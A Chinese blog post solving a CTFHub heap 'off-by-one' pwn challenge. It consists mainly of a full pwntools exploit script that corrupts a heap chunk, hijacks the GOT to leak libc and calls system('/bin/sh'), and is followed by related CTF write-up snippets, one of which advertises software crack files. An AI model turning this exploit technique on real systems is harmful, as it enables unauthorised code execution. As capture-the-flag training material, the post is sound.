off-by-one,CTFHub例题

CTFHUB技能树(全详细解析含进阶) HTTP协议 请求树 根据提示直接修改头即可 302跳转 直接重放获得302跳转, Cookie 字面意思, 基础认证 简介: 在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证 附件提供了密码,很明显就是爆破 有了用户名,而且发现一个base加密的东西 解密看看 固定格式啊, 阅读详情

 慢慢更,太懒了直接给出代码

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-049a92ae96535d90.sandbox.ctfhub.com",31154)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

def add(size):
	io.recvuntil(b"Choice:")
	io.sendline(b"1")
	io.recvuntil(b"Size: ")
	io.sendline(str(size))

def edit(idx,data):
	io.recvuntil(b"Choice:")
	io.sendline(b"2")
	io.recvuntil(b"Index: ")
	io.sendline(str(idx))
	io.recvuntil(b"Content: ")
	io.sendline(data)


def free(idx):
	io.recvuntil(b"Choice:")
	io.sendline(b"3")
	io.recvuntil(b"Index: ")
	io.sendline(str(idx))


puts_plt = elf.plt['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
printf_plt = elf.plt['printf']
add(0x18)
for i in range(1,28):
	add(0x10)
add(0x21)
ptr_chunk = 0x602130-8
edit(0,b"a"*0x18+p64(0x41))
free(1)
free(2)
add(0x30)
edit(1,p64(0)*3+p64(0x21)+p64(ptr_chunk))
add(0x10)
free(30)
add(0x18)
edit(29,b"a"*8+p64(free_got)+p64(atoi_got))
edit(0,p64(puts_plt)+p64(printf_plt))
free(1)
atoi_addr = u64(io.recv(6).ljust(8,b"\x00"))
libc_addr = atoi_addr-libc.sym['atoi']
system_addr = libc_addr+libc.sym['system']
print(hex(libc_addr))
print(hex(atoi_addr))
edit(5,b"/bin/sh\x00")
edit(0,p64(system_addr)+p64(printf_plt))
# add(0x10)
free(5)


io.interactive()

《CTF竞赛权威指南》|Off-By-One 堆中的Off-By-One,CTF Wiki 阅读详情

相关推荐

CTF实战解题思维框架:从信息收集到漏洞利用的50+核心思路

在网络安全和计算机系统学习中,漏洞分析与利用是核心技能之一,其本质在于理解软件运行原理并发现其设计或实现中的缺陷。从技术原理层面,无论是Web应用、二进制程序还是逆向工程,安全问题的根源往往可归结为输入验证、内存管理或逻辑处理不当。掌握系统化的分析方法和利用技术,对于提升安全攻防能力、理解系统底层机制具有重要价值。在CTF竞赛等实战场景中,这体现为一套从信息侦察、威胁建模到漏洞利用的通用解题框架。本文围绕SQL注入绕过、反序列化漏洞、ROP链构造、格式化字符串利用等高频技术点,结合具体案例,系统梳理了覆盖W

diaogan4202的博客 1418

堆溢出 off by oneoff by null

在CTF(Capture The Flag)竞赛中,堆溢出攻击经常涉及利用软件在内存管理上的细微错误。Off-by-One和是两种常见的此类错误,它们可以被攻击者利用来控制程序的执行流程或泄露敏感信息。

qq_69100706的博客 526

SQL注入攻防实战:从手工注入到自动化工具与防御策略

SQL注入作为Web安全领域的经典漏洞,其核心原理在于用户输入被误执行为数据库查询指令,从而绕过认证、窃取数据甚至控制服务器。理解其工作机制是构建应用安全防线的基石,对于渗透测试与安全防御均具有重要价值。通过手工注入可以深入掌握信息收集、数据库结构探测与数据提取的全流程,而自动化工具如sqlmap则能提升测试效率,尤其在应对WAF绕过和复杂过滤场景时。在红蓝对抗实践中,SQL注入常作为初始突破口,结合靶场环境(如DVWA、Pikachu)进行演练,有助于掌握从漏洞发现、利用到防御的闭环。本文聚焦于SQL注入

agcozdwdfvds08078的博客 342

off by one --- Asis CTF 2016 b00ks题解

确定漏洞点 首先,checksec查看开了哪些保护,其中PIE会使我们的调试难度稍稍增加。 再执行程序之后是一个经典的菜单选择,可以大概判断是与堆的利用有关。 通过用ida反编译之后查看,发现有一个关于读的函数会多读入一个\x00,造成了一个null off by one的漏洞。 程序分析 create 函数 创建了book name的堆 创建了book description的堆 创建了b...

coco的博客 741

Ctfhub解题 web 信息泄露

记录解题过程

weixin_46703850的博客 833

CTFHub技能树-Web-SSRF 解题方法

SSRF : 内网访问 伪协议读取文件file:// 端口扫描 Post请求 上传文件 FastCGI协议 Redis协议 【gopherus工具】 URL/数字IP/302 跳转/DNS重绑定 Bypass

qq_65379983的博客 1941

CTFHUB技能树详解(最全、最细、最易懂)

最近闲的无聊,玩玩CTF吧,并把自己的解题思路分享给大家。大佬多指教。

A.SmallWhite的博客 2万+

ctfhub web全部做题记录(持续跟新)

信息泄露 目录历遍 直接找就行。。。 PHPINFO 进去直接 ctrl+f 搜flag就行。。。 备份文件下载 网站源码 提示一些相关的名字 可以写个简单的脚本爆破一下 当然也可以 dirsearch 直接扫 import requests url = http://challenge-c93f188d4781b829.sandbox.ctfhub.com:10080/ a = ['web','website','backup','back','www','wwwroot','temp'] b = ['tar','tar.gz','zip','rar'] for i in a: fo

Writeup 4 Off by Null

这道题是堆利用的经典入门题off-by-null 漏洞原理unlink 利用技巧fake chunk 构造GOT 劫持libc 泄露关键收获交互格式很重要read_int读 8 字节,但sendline可以正常工作GOT 覆盖要小心:用sendline让my_read在\n处停止,避免覆盖其他 GOTunlink 后:不是0x602140,往0x602128写数据可以覆盖chunk数组没有 show 也能泄露:改free@got为puts@pltfree。

hengdonghui的博客 493

MFC 修改CheckBox的文本颜色方法

设置主题 这一步是必须的,不可省略。 BOOL CMFCApplication1Dlg::OnInitDialog() { CDialogEx::OnInitDialog(); // 设置此对话框的图标。 当应用程序主窗口不是对话框时,框架将自动 // 执行此操作 SetIcon(m_hIcon, TRUE); // 设置大图标 SetIcon(m_hIcon, FALSE); // 设置小图标 // TODO: 在此添加额外的初始化代码 // 设置主题 HWND

Kim的博客 2249

ENVI遥感技术

记录2024.03.06所遇到的遥感问题

qq_44453923的博客 4332

CTFHub-Web-SSRF解题过程

开启环境访问后,url=后添加如下,得到flag。

2401_86440467的博客 2198

485芯片AB波形正负半周的问题探讨

      本人做的一个产品,产品的其中一个接口是RS485的,我们使用的芯片是MAX13487E。MCU是STM32F103,MCU的USART通过光耦隔离后,接到MAX13487E。因为STM32F103的VCC是3.3V的,MAX13487E的VCC是5V。      部分原理图如下,上述部分电路参考了官方的参考设计,现在测试的AB波形时候发现如下问题。1.把R10和R16改为1k,示波器C...

qq_26308521的博客 1万+

新手小白详解CTFHUB技能树——web方向

HTTP的请求方式是GET用CTFHUB的方法,将会获取flag这道题的核心是改变HTTP请求头中的请求方式Method。

MING_10_的博客 2116

利用VBA宏实现LightTools仿真数据自动化导出至Excel

本文详细介绍了如何利用VBA宏实现LightTools仿真数据自动化导出至Excel的完整流程。通过调用LTAPI接口,工程师可以自动执行仿真、抓取照度与光强等数值数据、捕获并粘贴仿真图像,从而将重复性工作自动化,显著提升光学设计工作的效率和准确性。

weixin_28314575的博客 502

基于PTB-XL数据集的深度学习心电信号分类

心电信号的分析与处理是心血管疾病诊断的重要手段。该领域的主要工作领域是分类,它越来越多地得到基于机器学习的算法的支持。在这项工作中,开发了一个深度神经网络来自动分类初级心电信号。这项研究是在PTB-XL数据库中包含的数据上进行的。提出了三种神经网络架构:第一种基于卷积网络,第二种基于SincNet,第三种基于卷积网络,

weixin_55121617的博客 7007

CTFHub 解题记录1-信息泄露

搞定CTFHub技能树信息泄露篇,虽然没有太多原理,但你可以实现解题,赶快动手实践一下吧

u013070616的博客 1501

Cygwin安装教程

简介 cygwin是一个在windows平台上运行的unix模拟环境,是cygnus solutions公司开发的自由软件 Cygwin就是一个windows软件,该软件就是在windows上仿真linux操作系统 简言之,cygwin是一个在windows平台上运行的 linux模拟环境,使用一个Dll(动态链接库)来实现 这样,我们可以开发出Cygwin下的UNIX工具,使用这个DLL运行在W...

Errol's Blog 13万+

CTFHub-SSRF过关攻略(持续更新中...)

这关需要查看端口范围需要用到BP。这个就是我们所需要的。

2301_81881972的博客 970

汽车级智能栅极驱动器深度解析 | 连载03:功能框图与工作模式详解

在前两期连载中,我们分析了DRV871x-Q1的产品架构、引脚配置和电气特性。本期我们将深入探讨DRV871x-Q1的功能框图和工作模式,这是理解芯片内部工作机制的关键。通过分析功能框图,我们能够清晰地了解各功能模块之间的关系和信号流向;通过工作模式分析,我们能够掌握芯片在不同应用场景下的配置方法。这些知识对于系统设计和故障排查都至关重要。

VehSwHwDeveloper的博客 1101

YOLOv11涨点改进| SCI一区2026 |独家创新首发、特征融合改进篇|引入FAFM特征对齐融合模块,通过特征对齐和融合两个阶段,助力多模态融合小目标检测,小目标检测,SAR图像目标检测高效涨点

🔥本文提出了一种改进YOLOv11网络模型的方法,通过引入FAFM(特征对齐融合模块)来解决多模态目标检测中的特征空间错位问题。FAFM模块采用可变形卷积和内容引导注意力机制,有效实现了跨模态特征对齐与融合,充分利用了不同模态间的互补信息。该方法在保持模型轻量化的同时,显著提升了目标检测精度和鲁棒性,特别是在复杂背景和模态差异较大的场景下表现突出。文章详细介绍了FAFM模块的结构、原理、优势,并提供了完整的代码实现和模型配置方案,为多模态目标检测任务提供了实用的技术参考。

Ai缝合怪、助力小伙伴高效发论文 268

CTFHub—Web题目解题合集1(超详细)

本文摘要介绍了HTTP协议相关知识和信息泄露漏洞的利用方法。主要内容包括:1)使用curl命令获取服务器返回信息;2)通过修改Cookie参数获取管理员权限;3)利用备份文件(.bak)、vim缓存文件(.swp)和.DS_Store文件泄露网站源码;4)Git版本控制不当导致的源码泄露漏洞。文章提供了具体操作方法和工具使用技巧,帮助安全测试人员发现和利用这些常见的信息泄露漏洞。

2301_76435948的博客 591

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

ctfhub-ssrf全通关攻略

这一关题目提醒我们是发一个HTTP POST请求,并且ssrf是用php的curl实现的.还会跟踪302跳转.打开页面后我们先尝试在url位置输入127.0.0.1/flag.php后发现进入这样的页面。

C233333235的博客 1668

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

CTFhub技能书解题笔记-Cookie

一:打开题目,主页给出的提示是,仅仅只有admin用户,才能看到flag 二、这里我们还是打开burpsuit,抓包看一下数据包。通过对该页面进行抓包,发现了cookie位置的值为:admin=0。那么可以理解为现在是因为admin=0,所以我们非admin用户,就无法看倒flag。 这里因为0和1通常用来表示“否”和“是”,所以这里我们将0改为1。 得到flag ...

qq_43006864的博客 1792

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

ctfhub技能书+历年真题学习笔记(详解)

Web Web前置技能 HTTP协议 请求方式 题目: HTTP Method is GET Use CTF**B Method, I will give you flag. Hint: If you got 「HTTP Method Not Allowed」 Error, you should request index.php. 意思就是你是get请求,你把这个请求换成CTFHUB就行 所以抓包直接一把梭 302跳转 题目: No Flag here! Give me Flag 点击发现没有跳转

qq_50589021的博客 8万+

CTFHub技能书-Web-信息泄露类解题过程合集

声明:本文介绍的技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可传播使用相关技术及工具从事违法犯罪行为,一经发现直接上报国家安全机关处理,著作权归爱国小白帽所有 目录遍历: 这个没有技术含量,一层一层找就行了 PHPINFO: 搜索关键字ctfhub{就能看到flag了 备份文件下载: 网站源码: 网站以提示了几种压缩文件后缀,猜测备份文件名是以www开头,尝试发现名为www.zip 里面有个flag文件 但点开之后发现没有 这是ctf惯用套路,访问即可 bak文件: 题目.

爱国小白帽 1726
上一篇: CTFHub pwn [FastBin Attack]
下一篇: 0ctf_2017_babyheap
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值